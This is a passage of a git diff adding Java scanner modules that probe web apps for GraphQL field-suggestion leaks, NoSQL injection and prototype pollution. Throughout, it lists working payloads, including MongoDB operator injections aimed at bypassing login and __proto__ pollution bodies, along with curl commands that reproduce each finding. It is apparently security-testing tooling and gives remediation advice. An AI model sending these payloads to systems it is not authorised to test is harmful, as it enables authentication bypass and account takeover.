GraphQL: erro no teste de batching -- " + e.getMessage()); + } + } + + // -- Phase 2d: Field suggestion leak -- + // Send queries with intentional typos to check if error messages reveal valid + // field names + private void probeFieldSuggestionLeak(ScanContext ctx, HttpClient hc, String url, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] GraphQL: testando field suggestion leak em " + url); + try { + // Send queries with intentional typos in common field names + List typoQueries = List.of("{\"query\":\"{ usr { id } }\"}", "{\"query\":\"{ usrs { email } }\"}", + "{\"query\":\"{ me { passwrd } }\"}", "{\"query\":\"{ admi { role } }\"}", + "{\"query\":\"{ accont { balance } }\"}"); + + for (String typoPayload : typoQueries) { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(6)) + .POST(HttpRequest.BodyPublishers.ofString(typoPayload)).build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + var matcher = SUGGESTION_PATTERN.matcher(body); + if (matcher.find()) { + String suggestedField = matcher.group(2); + log.accept("[!] GraphQL: field suggestion leak -- sugeriu '" + suggestedField + "'"); + findings.add(Finding.of("GraphQL", url, "GraphQL field suggestion information disclosure", + Severity.MEDIUM, + "Endpoint: " + url + " | Query: " + typoPayload + " | Sugestao: '" + suggestedField + + "' | Resposta: " + body.substring(0, Math.min(300, body.length())), + "Mensagens de erro sugerem nomes de campos validos quando typos sao " + + "enviados -- atacante pode enumerar o schema completo sem " + + "introspection, descobrindo campos sensiveis (password, token, " + + "secret, admin)", + "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + " -d '" + + typoPayload + "'", + "Desabilitar field suggestions em producao (ex: Apollo Server -- " + + "NODE_ENV=production desabilita automaticamente); retornar erros " + + "genericos sem sugestoes de campos", + cweId, cweTitle, cveVector, score)); + return; // One finding is enough + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception e) { + log.accept("[~] GraphQL: erro no teste de field suggestion -- " + e.getMessage()); + } + } + + // Build a deeply nested query: { a { a { a { ... { id } ... } } } } + private static String buildNestedQuery(int depth) { + StringBuilder sb = new StringBuilder(); + sb.append("{ "); + for (int i = 0; i < depth; i++) { + sb.append("a { "); + } + sb.append("id"); + for (int i = 0; i < depth; i++) { + sb.append(" }"); + } + sb.append(" }"); + return sb.toString(); + } + + // Extract mutation names from introspection response (simple JSON parsing) + private static List extractMutationNames(String body) { + List names = new ArrayList<>(); + // Look for "name":"" patterns after "fields" in the response + int fieldsIdx = body.indexOf("\"fields\""); + if (fieldsIdx < 0) { + return names; + } + String sub = body.substring(fieldsIdx); + int idx = 0; + while ((idx = sub.indexOf("\"name\":\"", idx)) != -1) { + int start = idx + 8; + int end = sub.indexOf("\"", start); + if (end > start) { + String name = sub.substring(start, end); + // Skip internal GraphQL names and type names + if (!name.startsWith("__") && !name.isEmpty()) { + names.add(name); + } + } + idx = end > 0 ? end + 1 : idx + 1; + // Limit to first 10 mutations to avoid excessive requests + if (names.size() >= 10) { + break; + } + } + return names; + } + + private static int countOccurrences(String haystack, String needle) { + int count = 0; + int idx = 0; + while ((idx = haystack.indexOf(needle, idx)) != -1) { + count++; + idx += needle.length(); + } + return count; + } + private HttpClient buildClient() throws Exception { SSLParameters params = new SSLParameters(); params.setEndpointIdentificationAlgorithm(""); diff --git a/src/main/java/gg/effront/anarcry/scanner/web/nosqli/NoSqlInjectionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/nosqli/NoSqlInjectionModule.java new file mode 100644 index 0000000..718430e --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/nosqli/NoSqlInjectionModule.java @@ -0,0 +1,376 @@ +package gg.effront.anarcry.scanner.web.nosqli; + +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.ProbeExecutor; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.Callable; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Consumer; +import java.util.regex.Pattern; + +public class NoSqlInjectionModule implements Scanner { + + private static final List PATHS = List.of("/login", "/api/login", "/api/auth", "/api/signin", "/api/users", + "/api/search", "/search", "/api/", "/api/v1/", "/api/v1/users", "/api/v1/auth"); + + private static final List PARAMS = List.of("username", "password", "email", "user", "login", "query", + "search", "filter", "id", "name"); + + // -- Phase 1: Operator injection payloads for query parameters -- + private record OperatorPayload(String suffix, String description) { + } + + private static final List OPERATOR_PAYLOADS = List.of( + new OperatorPayload("[$ne]=", "$ne operator -- not-equal bypass"), + new OperatorPayload("[$gt]=", "$gt operator -- greater-than bypass"), + new OperatorPayload("[$regex]=.*", "$regex operator -- match-all"), + new OperatorPayload("[$exists]=true", "$exists operator -- field presence"), + new OperatorPayload("[$where]=1", "$where operator -- JS evaluation")); + + // -- Phase 2: JSON body payloads for auth bypass -- + private record JsonPayload(String body, String description) { + } + + private static final List JSON_PAYLOADS = List.of( + new JsonPayload("{\"username\":\"admin\",\"password\":{\"$ne\":\"\"}}", + "$ne auth bypass -- password not-equal empty"), + new JsonPayload("{\"username\":{\"$gt\":\"\"},\"password\":{\"$gt\":\"\"}}", + "$gt auth bypass -- both fields greater-than empty"), + new JsonPayload("{\"username\":\"admin\",\"password\":{\"$regex\":\".*\"}}", + "$regex auth bypass -- password regex match-all"), + new JsonPayload("{\"$where\":\"this.password.match(/.*/)\"}", "$where JS evaluation")); + + // -- Error patterns for MongoDB, DynamoDB, and other NoSQL databases -- + private static final Pattern NOSQL_ERROR = Pattern.compile("MongoError|BSON|mongoose|CastError|ValidationError" + + "|E11000 duplicate key|invalid operator|\\$where not allowed" + "|MongoServerError|BSONTypeError" + + "|ValidationException|ConditionalCheckFailedException" + "|SerializationException" + + "|MongoNetworkError|MongoParseError", Pattern.CASE_INSENSITIVE); + + // -- Indicators of successful auth bypass in responses -- + private static final Pattern AUTH_SUCCESS = Pattern.compile("\"token\"\\s*:|\"session\"\\s*:|\"access_token\"\\s*:" + + "|\"jwt\"\\s*:|\"auth\"\\s*:\\s*true" + "|welcome|dashboard|logged.?in|authenticated", + Pattern.CASE_INSENSITIVE); + + // -- Paths that look like login/auth endpoints -- + private static final Pattern LOGIN_PATH = Pattern.compile("login|auth|signin|sign-in|authenticate", + Pattern.CASE_INSENSITIVE); + + @Override + public String id() { + return "NoSQLi"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + String cweId = CweRegistry.cweId(id()); + String cweTitle = CweRegistry.cweTitle(id()); + String cvssVec = CweRegistry.cvssVector(id()); + double cvssScore = CvssCalculator.calculate(cvssVec); + + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String base = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + // Merge static paths with crawler-discovered paths + List effectivePaths = new ArrayList<>(PATHS); + for (String discovered : ctx.discoveredPaths().paths()) { + if (!effectivePaths.contains(discovered)) { + effectivePaths.add(discovered); + } + } + + // Merge static params with crawler-discovered params + List effectiveParams = new ArrayList<>(PARAMS); + for (String discovered : ctx.discoveredPaths().parameters()) { + if (!effectiveParams.contains(discovered)) { + effectiveParams.add(discovered); + } + } + + log.accept("[~] NoSQLi: iniciando em " + base + " (" + effectivePaths.size() + " paths, " + + effectiveParams.size() + " params, " + OPERATOR_PAYLOADS.size() + " operator payloads, " + + JSON_PAYLOADS.size() + " JSON payloads)"); + + AtomicBoolean cancel = new AtomicBoolean(false); + List>> tasks = new ArrayList<>(); + + for (int pi = 0; pi < effectivePaths.size(); pi++) { + final String path = effectivePaths.get(pi); + final int pathIdx = pi; + tasks.add(() -> { + List local = new ArrayList<>(); + boolean isLoginPath = LOGIN_PATH.matcher(path).find(); + + log.accept("[~] NoSQLi: [" + (pathIdx + 1) + "/" + effectivePaths.size() + "] " + path + " -- " + + effectiveParams.size() + " params" + (isLoginPath ? " (login endpoint)" : "")); + + // -- Phase 1: Operator injection in query parameters -- + for (String param : effectiveParams) { + if (cancel.get()) { + return local; + } + + String baselineBody = fetchBody(ctx, hc, base + path + "?" + param + "=test", log); + int baselineLen = baselineBody.length(); + + // Anti-FP: skip if baseline already contains NoSQL error tokens + if (NOSQL_ERROR.matcher(baselineBody).find()) { + log.accept( + "[~] NoSQLi: baseline ja contem erro NoSQL em " + path + " -- pulando param " + param); + continue; + } + + for (OperatorPayload op : OPERATOR_PAYLOADS) { + if (cancel.get()) { + return local; + } + + String encoded = URLEncoder.encode(param + op.suffix(), "UTF-8"); + // Operator payloads use the param[$op]=value format + String url = base + path + "?" + param + URLEncoder.encode(op.suffix(), "UTF-8"); + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), + id()); + String body = resp.body() != null ? resp.body() : ""; + + // Check for NoSQL error disclosure + var errorMatch = NOSQL_ERROR.matcher(body); + if (errorMatch.find() && resp.statusCode() != 400) { + String match = errorMatch.group(); + String endpoint = path + "?" + param + op.suffix(); + log.accept("[!!] NoSQLi error-based em " + endpoint + " -- match: " + match); + + local.add(Finding.of(id(), endpoint, + "NoSQL Injection -- Error-Based (" + op.description() + ")", Severity.MEDIUM, + "Payload: " + param + op.suffix() + " | Match: " + match + " | Status: " + + resp.statusCode() + " | URL: " + url, + "NoSQL error messages expoe detalhes " + "internos do banco de dados, " + + "revelando tecnologia e " + "estrutura.", + "curl -G '" + base + path + "' \\\n" + " --data-urlencode '" + param + + op.suffix() + "'", + "Sanitize all input before passing " + "to NoSQL queries. Use ODM " + + "methods that reject operator " + "objects. Disable verbose " + + "error messages in production.", + cweId, cweTitle, cvssVec, cvssScore)); + cancel.set(true); + return local; + } + + // Differential detection: response significantly + // different from baseline + int respLen = body.length(); + boolean statusDiff = resp.statusCode() >= 200 && resp.statusCode() < 300 && baselineLen > 0; + boolean sizeDiff = baselineLen > 0 && Math.abs(respLen - baselineLen) > baselineLen * 0.3 + && Math.abs(respLen - baselineLen) > 50; + + if (statusDiff && sizeDiff) { + String endpoint = path + "?" + param + op.suffix(); + log.accept("[+] NoSQLi differential em " + endpoint + " baseline=" + baselineLen + + " response=" + respLen); + + Severity sev = isLoginPath ? Severity.HIGH : Severity.MEDIUM; + local.add(Finding.of(id(), endpoint, + "NoSQL Injection -- Differential " + "Response (" + op.description() + ")", sev, + "Payload: " + param + op.suffix() + " | Baseline length: " + baselineLen + + " | Response length: " + respLen + " | Status: " + resp.statusCode(), + "Operator injection altera a " + "resposta de forma " + + "significativa, indicando " + "que o input e processado " + + "como operador NoSQL.", + "curl -G '" + base + path + "' \\\n" + " --data-urlencode '" + param + + op.suffix() + "'", + "Validate and sanitize all input. " + "Reject objects when strings " + + "are expected. Use " + "parameterized queries or " + "ODM methods.", + cweId, cweTitle, cvssVec, cvssScore)); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + } + } + + // -- Phase 2: JSON body injection (login/auth endpoints) -- + if (isLoginPath) { + if (cancel.get()) { + return local; + } + + // Baseline: normal JSON login attempt + String normalBody = "{\"username\":\"admin\",\"password\":\"invalidpassword123\"}"; + String baselineResp = postJson(ctx, hc, base + path, normalBody, log); + int baselineJsonLen = baselineResp.length(); + int baselineStatus = getStatusCode(ctx, hc, base + path, normalBody); + + // Anti-FP: skip if baseline already contains NoSQL errors + if (NOSQL_ERROR.matcher(baselineResp).find()) { + log.accept("[~] NoSQLi: JSON baseline ja contem erro NoSQL em " + path + " -- pulando"); + } else { + for (JsonPayload jp : JSON_PAYLOADS) { + if (cancel.get()) { + return local; + } + + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)) + .timeout(Duration.ofSeconds(6)).header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString(jp.body())).build(); + HttpResponse resp = Http.send(ctx, hc, req, + HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // Check for error disclosure + var errorMatch = NOSQL_ERROR.matcher(body); + if (errorMatch.find()) { + String match = errorMatch.group(); + log.accept("[!!] NoSQLi JSON error-based em " + path + " -- match: " + match); + + local.add(Finding.of(id(), path, + "NoSQL Injection -- JSON " + "Error-Based (" + jp.description() + ")", + Severity.HIGH, + "Payload: " + jp.body() + " | Match: " + match + " | Status: " + + resp.statusCode(), + "JSON body com operadores NoSQL " + "provoca mensagem de " + + "erro interno, expondo " + "detalhes do banco.", + "curl -s -X POST '" + base + path + "' \\\n" + " -H 'Content-Type:" + + " application/json'" + " \\\n" + " -d '" + jp.body() + "'", + "Never pass raw user input to " + "NoSQL query operators." + + " Validate input types" + " -- reject objects " + + "when strings are " + "expected.", + cweId, cweTitle, cvssVec, cvssScore)); + cancel.set(true); + return local; + } + + // Auth bypass detection: response suggests + // successful authentication + boolean successStatus = resp.statusCode() >= 200 && resp.statusCode() < 300; + boolean statusChanged = baselineStatus >= 400 && resp.statusCode() < 400; + boolean hasAuthToken = AUTH_SUCCESS.matcher(body).find(); + boolean sizeDiff = baselineJsonLen > 0 && body.length() > baselineJsonLen * 1.3 + && body.length() - baselineJsonLen > 50; + + if ((successStatus && hasAuthToken) || statusChanged) { + log.accept( + "[!!] NoSQLi auth bypass CRITICAL em " + path + " -- " + jp.description()); + + local.add(Finding.of(id(), path, + "NoSQL Injection -- " + + "Authentication " + "Bypass (" + jp.description() + ")", + Severity.CRITICAL, + "Payload: " + jp.body() + " | Status: " + resp.statusCode() + " (baseline: " + + baselineStatus + ")" + " | Auth token in" + " response: " + + hasAuthToken + " | Response" + " length: " + body.length() + + " (baseline: " + baselineJsonLen + ")", + "Authentication bypass via " + "NoSQL operator " + "injection permite " + + "login sem credenciais" + " validas, " + "comprometendo " + + "qualquer conta.", + "curl -s -X POST '" + base + path + "' \\\n" + " -H 'Content-Type" + + ": application" + "/json' \\\n" + " -d '" + jp.body() + "'", + "Use parameterized queries or" + " ODM methods. Never" + + " pass raw input to " + "query operators. " + + "Validate input types" + " -- reject objects " + + "when strings are " + "expected. Disable " + "$where in MongoDB.", + cweId, cweTitle, cvssVec, cvssScore)); + cancel.set(true); + return local; + } + + // Differential: response significantly + // different from baseline + if (sizeDiff && successStatus) { + log.accept("[+] NoSQLi JSON differential em " + path + " baseline=" + + baselineJsonLen + " response=" + body.length()); + + local.add(Finding.of(id(), path, + "NoSQL Injection -- JSON " + + "Differential " + "Response (" + jp.description() + ")", + Severity.HIGH, + "Payload: " + jp.body() + " | Baseline " + "length: " + baselineJsonLen + + " | Response " + "length: " + body.length() + " | Status: " + + resp.statusCode(), + "JSON body com operadores " + "NoSQL altera a " + "resposta de forma " + + "significativa, " + "indicando data " + "extraction.", + "curl -s -X POST '" + base + path + "' \\\n" + " -H 'Content-Type" + + ": application" + "/json' \\\n" + " -d '" + jp.body() + "'", + "Validate and sanitize all " + "JSON input. Reject" + " objects when " + + "strings are " + "expected. Use ODM" + " methods.", + cweId, cweTitle, cvssVec, cvssScore)); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + } + } + } + + return local; + }); + } + + findings.addAll(ProbeExecutor.run(tasks, ctx.config().probeConcurrency(), cancel)); + + if (findings.isEmpty()) { + log.accept("[+] NoSQLi: nenhuma injecao NoSQL detectada"); + } + return findings; + } + + // -- helpers -- + + private String fetchBody(ScanContext ctx, HttpClient hc, String url, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse r = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return r.body() != null ? r.body() : ""; + } catch (Exception e) { + return ""; + } + } + + private String postJson(ScanContext ctx, HttpClient hc, String url, String jsonBody, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/json").POST(HttpRequest.BodyPublishers.ofString(jsonBody)) + .build(); + HttpResponse r = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return r.body() != null ? r.body() : ""; + } catch (Exception e) { + return ""; + } + } + + private int getStatusCode(ScanContext ctx, HttpClient hc, String url, String jsonBody) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/json").POST(HttpRequest.BodyPublishers.ofString(jsonBody)) + .build(); + HttpResponse r = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return r.statusCode(); + } catch (Exception e) { + return -1; + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/protopollution/PrototypePollutionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/protopollution/PrototypePollutionModule.java new file mode 100644 index 0000000..4a63f3e --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/protopollution/PrototypePollutionModule.java @@ -0,0 +1,351 @@ +package gg.effront.anarcry.scanner.web.protopollution; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.ProbeExecutor; +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.concurrent.Callable; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Consumer; +import java.util.regex.Pattern; + +public class PrototypePollutionModule implements Scanner { + + private static final List FALLBACK_PATHS = List.of("/", "/api/", "/api/v1/", "/search", "/login", + "/register", "/settings"); + + private static final List PARAMS = List.of("q", "query", "search", "name", "data", "input", "config", + "options", "settings", "user", "filter"); + + // Canary value unlikely to appear in normal responses + private static final String CANARY = "anarcry_pp_7x3k9"; + + // Client-side prototype pollution payloads (query param injection) + private static final List CLIENT_PAYLOADS = List.of("__proto__[ppcanary]=" + CANARY, + "constructor.prototype.ppcanary=" + CANARY, "__proto__[constructor][prototype][ppcanary]=" + CANARY, + "__proto__.ppcanary=" + CANARY); + + // Server-side JSON payloads + private static final List SERVER_JSON_PAYLOADS = List.of( + "{\"__proto__\": {\"ppcanary\": \"" + CANARY + "\"}}", + "{\"constructor\": {\"prototype\": {\"ppcanary\": \"" + CANARY + "\"}}}", + "{\"a\": {\"__proto__\": {\"ppcanary\": \"" + CANARY + "\"}}}"); + + // Error patterns that may indicate prototype pollution side effects + private static final Pattern ERROR_PATTERN = Pattern.compile( + "Cannot read prop|undefined is not an object|Cannot convert undefined" + + "|TypeError.*undefined|Cannot set prop.*of undefined" + "|\\[object Object\\].*ppcanary", + Pattern.CASE_INSENSITIVE); + + @Override + public String id() { + return "ProtoPollution"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String base = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + Set crawledPaths = ctx.discoveredPaths().paths(); + List paths = crawledPaths.isEmpty() ? FALLBACK_PATHS : new ArrayList<>(crawledPaths); + + log.accept("[~] " + id() + ": testando prototype pollution em " + paths.size() + " paths"); + + int concurrency = ctx.config().probeConcurrency(); + AtomicBoolean cancel = new AtomicBoolean(false); + List>> tasks = new ArrayList<>(); + + for (int pi = 0; pi < paths.size(); pi++) { + final String path = paths.get(pi); + final int pathIdx = pi; + tasks.add(() -> { + List local = new ArrayList<>(); + if (cancel.get()) { + return local; + } + log.accept("[~] " + id() + ": [" + (pathIdx + 1) + "/" + paths.size() + "] " + path); + + // Phase 1: Client-side -- inject __proto__ and constructor.prototype in query + // params + Finding clientFinding = probeClientSide(ctx, hc, base, path, log); + if (clientFinding != null) { + local.add(clientFinding); + } + + // Phase 2: Server-side -- POST JSON payloads with polluted prototypes + Finding serverFinding = probeServerSide(ctx, hc, base, path, log); + if (serverFinding != null) { + local.add(serverFinding); + } + + // Phase 4: Parameter pollution -- inject __proto__ in GET query params + Finding paramFinding = probeParamPollution(ctx, hc, base, path, log); + if (paramFinding != null) { + local.add(paramFinding); + } + + return local; + }); + } + + findings.addAll(ProbeExecutor.run(tasks, concurrency, cancel)); + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma vulnerabilidade de prototype pollution detectada"); + } + return findings; + } + + // ------------------------------------------------------------------------- + // Phase 1: Client-side prototype pollution via query parameters + // ------------------------------------------------------------------------- + + private Finding probeClientSide(ScanContext ctx, HttpClient hc, String base, String path, Consumer log) { + // Baseline + String baselineBody = fetchBody(ctx, hc, base + path, log); + + for (String payload : CLIENT_PAYLOADS) { + try { + String url = base + path + "?" + payload; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // Check if the canary is reflected in the response (server-side processing) + if (body.contains(CANARY) && !baselineBody.contains(CANARY)) { + log.accept("[!!] " + id() + ": client-side pollution reflected -- " + path); + return Finding.of(id(), path + "?" + payload, + "Client-Side Prototype Pollution -- Property Reflected", Severity.MEDIUM, + "Payload: " + payload + " | Canary '" + CANARY + "' found in response | URL: " + url, + "Prototype pollution via query parameters can lead to XSS, authentication" + + " bypass, or DOM clobbering when client-side JavaScript merges" + + " attacker-controlled properties into application objects", + "curl -s '" + url + "' | grep '" + CANARY + "'", + "Sanitize query parameters before merging into objects. Use Object.create(null)" + + " or Map instead of plain objects. Freeze Object.prototype in" + + " client-side code. Validate and reject __proto__ and constructor keys."); + } + + // Phase 3: Check for error patterns indicating prototype pollution side effects + if (resp.statusCode() == 500 + || (ERROR_PATTERN.matcher(body).find() && !ERROR_PATTERN.matcher(baselineBody).find())) { + log.accept("[!!] " + id() + ": error pattern detected after injection -- " + path); + return Finding.of(id(), path + "?" + payload, "Prototype Pollution -- Error Pattern Detected", + Severity.MEDIUM, + "Payload: " + payload + " | Server returned error or TypeError pattern" + " | Status: " + + resp.statusCode() + " | URL: " + url, + "Error messages after prototype pollution injection suggest the application" + + " processes __proto__ or constructor properties, which may lead to" + + " denial of service or unexpected behavior", + "curl -s -o /dev/null -w '%{http_code}' '" + url + "'", + "Reject __proto__ and constructor.prototype keys in all input parsing." + + " Use a safe merge function that skips prototype properties."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Connection errors are expected for some paths + } + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 2: Server-side prototype pollution via JSON POST + // ------------------------------------------------------------------------- + + private Finding probeServerSide(ScanContext ctx, HttpClient hc, String base, String path, Consumer log) { + // First send a normal JSON POST to establish baseline behavior + String normalJson = "{\"test\": \"value\"}"; + String baselineBody = ""; + int baselineStatus = 0; + try { + HttpRequest baseReq = HttpRequest.newBuilder().uri(URI.create(base + path)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/json").POST(HttpRequest.BodyPublishers.ofString(normalJson)) + .build(); + HttpResponse baseResp = Http.send(ctx, hc, baseReq, HttpResponse.BodyHandlers.ofString(), id()); + baselineBody = baseResp.body() != null ? baseResp.body() : ""; + baselineStatus = baseResp.statusCode(); + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception e) { + return null; + } + + // Skip paths that do not accept JSON (405, 404, etc.) + if (baselineStatus == 404 || baselineStatus == 405) { + return null; + } + + for (String jsonPayload : SERVER_JSON_PAYLOADS) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString(jsonPayload)).build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // Check if canary appears in response + if (body.contains(CANARY) && !baselineBody.contains(CANARY)) { + log.accept("[!!] " + id() + ": server-side prototype pollution confirmed -- " + path); + return Finding.of(id(), path, "Server-Side Prototype Pollution -- JSON Injection", Severity.HIGH, + "Payload: " + jsonPayload + " | Canary '" + CANARY + "' reflected in response" + " | URL: " + + base + path, + "Server-side prototype pollution allows an attacker to modify the behavior" + + " of the application by injecting properties into Object.prototype." + + " This can lead to privilege escalation, authentication bypass," + + " remote code execution, or denial of service", + "curl -s -X POST '" + base + path + "' \\\n -H 'Content-Type: application/json' \\\n -d '" + + jsonPayload + "'", + "Use safe merge/deep-copy functions that skip __proto__ and constructor" + + " properties. Use Map or Object.create(null) for untrusted data." + + " Validate JSON schema and reject unexpected keys."); + } + + // Check for error patterns indicating server processed the polluted keys + if (ERROR_PATTERN.matcher(body).find() && !ERROR_PATTERN.matcher(baselineBody).find()) { + log.accept("[!!] " + id() + ": server-side error after JSON pollution -- " + path); + return Finding.of(id(), path, "Server-Side Prototype Pollution -- Error Indicator", Severity.MEDIUM, + "Payload: " + jsonPayload + " | Error pattern detected in response" + " | Status: " + + resp.statusCode() + " | URL: " + base + path, + "The server exhibited error behavior after receiving a JSON payload with" + + " __proto__ or constructor.prototype keys, indicating the application" + + " may be vulnerable to prototype pollution", + "curl -s -X POST '" + base + path + "' \\\n -H 'Content-Type: application/json' \\\n -d '" + + jsonPayload + "'", + "Sanitize incoming JSON by stripping __proto__ and constructor keys before" + + " processing. Use JSON schema validation to reject unexpected properties."); + } + + // Phase 5: Deep merge detection -- check if subsequent GET reflects pollution + try { + HttpRequest getReq = HttpRequest.newBuilder().uri(URI.create(base + path)) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse getResp = Http.send(ctx, hc, getReq, HttpResponse.BodyHandlers.ofString(), + id()); + String getBody = getResp.body() != null ? getResp.body() : ""; + if (getBody.contains(CANARY) && !baselineBody.contains(CANARY)) { + log.accept("[!!] " + id() + ": deep merge pollution persisted -- " + path); + return Finding.of(id(), path, "Server-Side Prototype Pollution -- Deep Merge Persistence", + Severity.HIGH, + "POST payload: " + jsonPayload + " | Canary '" + CANARY + "' persisted across requests" + + " | URL: " + base + path, + "Prototype pollution via deep merge persists across requests, indicating" + + " the polluted property is stored on a shared object. This can" + + " affect all users and lead to privilege escalation or RCE", + "curl -s -X POST '" + base + path + + "' \\\n -H 'Content-Type: application/json' \\\n -d '" + jsonPayload + + "' && \\\ncurl -s '" + base + path + "' | grep '" + CANARY + "'", + "Use immutable objects or Object.freeze(Object.prototype). Implement" + + " safe merge that ignores __proto__ and constructor keys." + + " Use Map for storing untrusted key-value data."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Follow-up GET failure is non-critical + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Connection errors for individual payloads + } + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 4: Parameter pollution via __proto__ in GET query params + // ------------------------------------------------------------------------- + + private Finding probeParamPollution(ScanContext ctx, HttpClient hc, String base, String path, + Consumer log) { + String baselineBody = fetchBody(ctx, hc, base + path, log); + + Set discoveredParams = ctx.discoveredPaths().parameters(); + List testParams = discoveredParams.isEmpty() ? PARAMS : new ArrayList<>(discoveredParams); + + for (String param : testParams) { + try { + // Inject __proto__ as a parameter alongside the normal param + String encoded = URLEncoder.encode("test", StandardCharsets.UTF_8); + String protoPayload = param + "=" + encoded + "&__proto__[ppcanary]=" + CANARY + + "&constructor[prototype][ppcanary]=" + CANARY; + String url = base + path + "?" + protoPayload; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (body.contains(CANARY) && !baselineBody.contains(CANARY)) { + log.accept("[!!] " + id() + ": parameter pollution via __proto__ -- " + path + " param=" + param); + return Finding.of(id(), path + "?" + protoPayload, "Prototype Pollution via Parameter Injection", + Severity.MEDIUM, + "Payload injected alongside param '" + param + "' | Canary '" + CANARY + + "' found in response | URL: " + url, + "The application processes __proto__ or constructor.prototype from query" + + " parameters, allowing prototype pollution that may cascade into" + + " XSS, privilege escalation, or logic bypass", + "curl -s '" + url + "' | grep '" + CANARY + "'", + "Use a query parser that ignores __proto__ and constructor keys (e.g., qs" + + " with allowPrototypes: false). Validate parameter names against an" + + " allowlist. Use Object.create(null) for parsed query objects."); + } + + // Check for error patterns + if (ERROR_PATTERN.matcher(body).find() && !ERROR_PATTERN.matcher(baselineBody).find()) { + log.accept("[!!] " + id() + ": error after param pollution -- " + path + " param=" + param); + return Finding.of(id(), path + "?" + protoPayload, + "Prototype Pollution -- Parameter Error Indicator", 